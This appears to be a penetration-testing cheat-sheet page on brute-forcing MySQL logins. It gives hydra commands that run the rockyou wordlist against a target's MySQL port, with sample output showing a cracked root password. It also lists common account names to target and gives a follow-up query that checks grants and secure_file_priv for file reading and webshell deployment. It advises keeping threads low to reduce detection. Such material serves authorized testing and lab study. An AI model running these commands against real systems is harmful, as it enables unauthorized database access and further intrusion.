Skip to content
HackIndex logo

HackIndex

MySQL Credential Brute-Force

2 min read Jul 10, 2026

MySQL credential brute-force is viable when the service is network-exposed and no lockout policy is enforced. MySQL has no built-in account lockout by default — failed authentication attempts do not block the account. This makes it straightforward to test large credential lists without triggering a lockout. Prioritize credentials recovered from other services on the same host or network before falling back to generic wordlists.

Brute-Force with hydra

Test a single username against a password list:

┌──(kali㉿kali)-[~]
└─$ hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://$TARGET_IP:${PORT:-3306} 
[3306][mysql] host: 192.168.1.100   login: root   password: password123

Test multiple usernames at once with a username list:

┌──(kali㉿kali)-[~]
└─$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt mysql://$TARGET_IP:${PORT:-3306} -t 4

Keep thread count low with -t 4. MySQL handles concurrent connections well but aggressive threading increases detection risk and can cause connection errors on resource-constrained targets.

Target Common MySQL Usernames

MySQL deployments commonly use predictable account names beyond root. Build a targeted username list:

mysql-users.txt:

root
mysql
admin
app
webapp
wordpress
drupal
joomla
backup
replication
monitor
readonly
dbadmin
sa

Verify and Check Privileges After a Hit

Once valid credentials are found, connect and immediately check privilege level:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT USER(); SHOW GRANTS FOR CURRENT_USER(); SHOW VARIABLES LIKE 'secure_file_priv';"

FILE privilege in the grants combined with an empty secure_file_priv is the highest-value result — it enables file read and webshell deployment covered in the next exploitation pages.

References